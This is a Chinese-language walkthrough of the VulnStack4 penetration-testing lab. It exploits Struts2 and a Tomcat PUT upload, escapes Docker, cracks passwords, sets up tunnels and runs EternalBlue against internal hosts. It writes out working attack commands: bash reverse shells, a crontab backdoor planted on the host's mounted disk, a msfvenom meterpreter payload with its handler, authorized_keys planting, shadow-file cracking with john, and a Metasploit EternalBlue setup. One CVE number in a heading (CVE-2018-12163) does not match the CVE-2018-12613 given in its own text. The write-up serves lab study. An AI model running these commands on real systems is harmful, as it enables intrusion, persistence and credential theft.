vulnstack(四)渗透实战
参考文章:内网渗透:VulnStack4靶场全方位打法 - FreeBuf网络安全行业门户
前置漏洞:
MS14-068漏洞
MS14-068是一个著名的Windows Kerberos安全漏洞,允许攻击者篡改Kerberos票据,从而获取非法提权。这个漏洞特别影响Windows域控制器,能让攻击者伪造Kerberos票据,获取域内几乎任意账户的权限,包括域管理员权限。这使得攻击者可以在网络中随意访问和控制资源
MS17010漏洞
MS17-010,也被称作“永恒之蓝(EternalBlue)”,是指在2017年由美国国家安全局(NSA)发现并被Shadow Brokers黑客组织公开的一系列Windows操作系统的安全漏洞。这些漏洞影响了Windows的Server Message Block (SMB) 协议,SMB是一种用于文件共享、打印机共享和Windows域中的其他通信的网络协议。
漏洞的主要问题在于它允许未经认证的攻击者远程执行任意代码并获取对系统的完全控制,这使得它成为勒索软件和网络蠕虫等恶意软件的理想传播途径。最著名的利用这一漏洞的攻击是2017年的WannaCry勒索软件事件,它在全球范围内影响了数十万台计算机,造成了巨大的经济损失和运营中断
Strust2漏洞
Apache Struts 2 是一个流行的开源框架,用于创建企业级Java web应用程序。Struts2漏洞通常涉及远程代码执行,允许攻击者通过发送特制的HTTP请求来控制或破坏目标服务器
CVE-2017-12615漏洞
CVE-2017-12615是一个在Apache Tomcat中发现的安全漏洞。这个漏洞存在于Tomcat的某些版本中,允许攻击者利用HTTP PUT请求上传恶意的JSP文件,然后执行这些文件。这通常是由于不当配置或不安全的默认设置导致的。以下是该漏洞的一些关键点:
- 受影响版本:影响的是Apache Tomcat 7.0.0至7.0.79版本。它是在Tomcat 7的某些实现中找到的,并且后续版本修复了这个问题。
- 漏洞详情:默认情况下,Tomcat 允许使用 HTTP PUT 方法上传文件。此漏洞利用了Tomcat的这一行为,允许攻击者上传包含恶意代码的JSP文件。然后,攻击者可以通过访问这些上传的文件来执行服务器端代码。
- 攻击原理:攻击者发送带有特殊构造的PUT请求到服务器,这个请求包含了恶意JSP文件的内容。如果服务器配置不当,攻击者上传的文件可以被服务器接受并保存在可访问的目录中。上传文件之后,攻击者可以通过访问这个JSP文件来执行服务器端代码,这可能导致信息泄露、服务器被控制等后果。
- 修复和缓解:修复这个漏洞的主要方法是更新到Apache Tomcat的最新版本,或者至少是没有这个漏洞的安全版本。此外,管理员可以通过配置来禁用HTTP PUT方法或者加强文件上传位置的安全性,以减少被攻击的风险。
CVE-2018-12163漏洞
CVE-2018-12613 是一个发现于 phpMyAdmin 的安全漏洞。phpMyAdmin 是一个流行的、基于 Web 的 MySQL 数据库管理工具,广泛用于管理数据库,包括数据库的访问、修改、备份等多种功能。这个漏洞特别是因为一个本地文件包含(Local File Inclusion, LFI)漏洞,允许攻击者远程执行代码或读取系统文件,具体取决于攻击者的意图和系统配置
信息收集
端口 | 服务 | 攻击面 |
---|---|---|
22/tcp | OpenSSH6.6.1,一个较旧的版本,通常用于远程安全登录 | 暴力破解、旧版本SSH漏洞 |
2001/tcp | Jetty 9.2.11.v20150529,一个轻量级的Java HTTP服务器和servlet容器 | 旧版本的Struts2漏洞 |
2002/tcp | Apache Tomcat 8.5.19,一个广泛使用的开源Java servlet容器,页面标题为“Apache Tomcat/8.5.19” | 配置不当或已知漏洞 |
2003/tcp | Apache httpd 2.4.25,一个非常流行的开源Web服务器软件,扫描发现了一个robots.txt | 旧版本漏洞或配置问题 |
struct2漏洞复现
用自动化工具检测,并且可以直接命令执行
发现是在docker环境里,在docker里的ip是以172打头的,也是一个特征
我们进行反弹shell
bash -i >& /dev/tcp/192.168.47.128/2333 0>&1
cat /etc/shadow
root:*:18149:0:99999:7:::
daemon:*:18149:0:99999:7:::
bin:*:18149:0:99999:7:::
sys:*:18149:0:99999:7:::
sync:*:18149:0:99999:7:::
games:*:18149:0:99999:7:::
man:*:18149:0:99999:7:::
lp:*:18149:0:99999:7:::
mail:*:18149:0:99999:7:::
news:*:18149:0:99999:7:::
uucp:*:18149:0:99999:7:::
proxy:*:18149:0:99999:7:::
www-data:*:18149:0:99999:7:::
backup:*:18149:0:99999:7:::
list:*:18149:0:99999:7:::
irc:*:18149:0:99999:7:::
gnats:*:18149:0:99999:7:::
nobody:*:18149:0:99999:7:::
_apt:*:18149:0:99999:7:::
冒号之间的*表示密码被锁定也就是,禁止登入
Apache Tomcat/8.5.19文件上传漏洞复现
一文了解Tomcat/8.5.19文件上传漏洞复现_tomcat8.5.19-CSDN博客
简单讲就是抓包后将GET请求头改为PUT,之后就可以上传文件了
冰蝎密码:rebeyond
docker逃逸
判断条件:
在Docker容器内部通常会存在一个名为.dockerenv
的文件,可使用命令ls /.dockerenv
来检查这个文件是否存在
ls /.dockerenv
渗透实战/屏幕截图 2024-03-27 214520.png)
hostname显示的是是一串奇怪的数字和字母组合
hostname
Docker容器中通常会设置特定的环境变量,可通过env
命令查看环境变量,查看是否存在与Docker相关的变量,例如下图,JAVA_HOME
设置为/docker-java-home/jre
,这通常是在Docker容器中设置的路径
env
Docker会使用cgroup
进行资源隔离,可通过查看/proc/1/cgroup
文件的内容,若出现”docker”关键字,即表示当前处于dokcer容器中
cat /proc/1/cgroup
逃逸前置确定:
使用fdisk -l
命令查看磁盘分区表信息:
- sda1是包含Linux文件系统的分区,通常是可挂载的;
- sda2是扩展分区
- sda5是swap分区,用于虚拟内存
2、3两个分区都是不可挂载的
由于docker中的shell拥有root权限,因此我们可以挂载/dev/sda1
分区,一旦分区被挂载,对挂载点目录的任何操作都是对/dev/sda1
分区的操作,简单来说,就是可以通过容器来操作宿主机
法一:
mkdir /hacker
mount /dev/sda1 /hacker #将sda1分区挂载到/hacker目录
首先在kali
中使用nc
监听,进入到hacker
目录,通过touch
创建一个sh
文件,再将bash
反弹命令写入到创建的sh
文件里面,在编写计划任务到/hacker/etc/crontab
文件中。
cd /hacker
touch /hacker/hacker.sh
echo "bash -i >& /dev/tcp/192.168.59.145/6666 0>&1" >/hacker/hacker.sh
echo "* * * * * root bash /hacker.sh" >> /hacker/etc/crontab
成功拿到shell:
msf上线linux靶机
生成elf可执行文件
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.47.128 LPORT=888 -f elf > mshell.elf
对msf进行操作
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.47.128
set lport 888
run
在刚刚挂载的hacker文件夹下,也就是宿主机的root下进入tmp文件夹,并将mshell.elf文件上传后执行,回到msf发现已经上线
我并不太喜欢msf的命令操作界面,比较麻烦,但是碍于cs的版本偏高无法兼容插件CrossC2(需要cs版本在4.1以下)无法监听Linux操作相系统的shell,并不能做到msf联动cs只能分开做,得安排一个低版本的cs,以及后续对linux靶机的msf渗透。
这里发现仍然没有实现逃逸
确实很奇怪,用msf生成的elf木马和简单的反弹shell sh文件在同一个挂载文件夹下,竟然msf不能突破docker。。。
这样建立的shell很不稳定,于是转另外一个思路
法二:
–privileged特权模式逃逸
- 原理:利用docker的特权模式来在宿主机硬盘中写入ssh私钥,实现ssh免密登入宿主机
SSH密钥对是SSH身份验证的一种方式,其中包含公钥和私钥。公钥可以放置在远程服务器上,而私钥保留在本地计算机上。当用户尝试连接到远程服务器时,服务器会使用公钥进行身份验证,并确保只有持有相应私钥的用户才能成功连接。
ssh-keygen -f haha
# 生成一个名为 "hack" 的SSH密钥对,并将其存储在用户的主目录下的 .ssh 目录中
chmod 600 haha
制作haha.sh进行添加authorized_keys
- authorized_keys的作用是允许SSH公钥身份验证,用于远程登录服务器时的身份验证。当用户将公钥添加到服务器的authorized_keys文件中时,该用户可以使用私钥进行身份验证,而无需输入密码。
haha.sh内容:
cp -avx /hacker/home/ubuntu/.ssh/id_rsa.pub /hacker/home/ubuntu/.ssh/authorized_keys
# 将原密钥内容复制进authorized_keys
echo 'haha.pub的内容' > /hacker/home/ubuntu/.ssh/authorized_keys
# 添加私钥进authorized_keys
cat /hacker/home/ubuntu/.ssh/authorized_keys
# 查看是否成功
在冰蝎中使用命令执行haha.sh,记得haha.sh的位置在/hacker/home/ubuntu/.ssh
cd /hacker/home/ubuntu/.ssh/
chmod 777 haha.sh
./haha.sh
不知道什么原因,搞了快两个小时没有成功逃逸,失败
法三:
用户密码破解
利用kali自带的john工具进行操作
- john介绍:
- 本地用户密码:可以破解存储在系统shadow文件中的哈希密码。
- 网络认证密码:能够对通过网络传输的加密密码进行破解。
- 数据库密码:支持多种数据库密码的破解工作。
- 文件加密密码:如ZIP文件的加密密码,通过获取文件的Hash值后使用John进行破解。
利用冰蝎执行:
cat /etc/shadow
拿到密码密文,复制到本地创建hash.txt文件,终端运行:
john hash.txt
暴力破解成功,主要是密码太简单了,换一个情况不知道出不出的来
msf内网渗透
使用上面ssh连到的靶机执行我们上传的mshell.elf文件,使得msf靶机上线:
这样得到的靶机是经过docker逃逸后的靶机
ew上传内网隧道搭建
ew下载链接:GitHub - idlefire/ew: 内网穿透(跨平台)
使用命令
upload /root/tools/ew-master/ew_for_linux64 /home/ubuntu
并且设置socker5代理端口1080
ssh连接靶机,赋予权限以及命令;
cd /home/tmp
chmod 777 ew_for_linux64
nohup ./ew_for_linux64 -s ssocksd -l 1080 &
# 在后台启动 ew_for_linux64 程序,以服务器模式运行,并监听 1080 端口。即使关闭了终端,该程序也会继续运行
msf执行命令:
run autoroute -s 192.168.183.0/24
run autoroute -p
# 路由转发
MSF框架为渗透测试者提供了一个很好的跳板功能模块,这个模块可以添加一条转发路由,使攻击者能够到达内网中的其他机器。在配置路由转发时,需要确定目标主机所在的网段,然后在MSF框架中设置相应的路由规则。这些规则可以确保攻击者的流量能够正确地通过跳板机器,到达目标内网的其他部分。
开始扫描:
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.0-255
set threads 5
run
分别是192.168.183.130和192.168.183.140存活
nmap配合proxychains扫描内网ip:
proxychains nmap -A 192.168.183.130
使用永恒之蓝检测一下
use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.183.130
run
另外一个也是一样的
setg Proxies socks5:192.168.47.128:1080 # 设置代理,不设置代理ms17_010很难打通
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.130
set lport 4444
set AutoRunScript post/windows/manage/migrate # 自动迁移进程
run